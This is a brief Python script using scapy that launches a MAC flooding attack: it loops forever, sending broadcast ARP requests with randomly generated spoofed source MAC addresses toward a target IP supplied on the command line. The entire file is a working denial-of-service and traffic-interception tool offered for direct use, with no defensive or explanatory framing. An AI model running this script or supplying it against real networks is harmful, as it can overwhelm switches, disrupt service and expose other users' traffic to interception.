# mac_flooding.py

from scapy.all import *
import random
import sys

def random_mac():
    """
    生成一个随机MAC地址
    """
    return "02:00:00:%02x:%02x:%02x" % (
        random.randint(0, 255),
        random.randint(0, 255),
        random.randint(0, 255)
    )

def mac_flooding(target_ip):
    """
    发送大量伪造的ARP请求包以进行MAC Flooding
    """
    print("Start the MAC Flooding attack. Press Ctrl+C to stop.")
    try:
        while True:
            fake_mac = random_mac()
            packet = Ether(src=fake_mac, dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff")
            sendp(packet, verbose=False)
    except KeyboardInterrupt:
        print("The attack has stopped.")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 mac_flooding.py <target_ip>")
        sys.exit(1)

    target_ip = sys.argv[1]
    mac_flooding(target_ip)
# pip install scapy
# sansjtw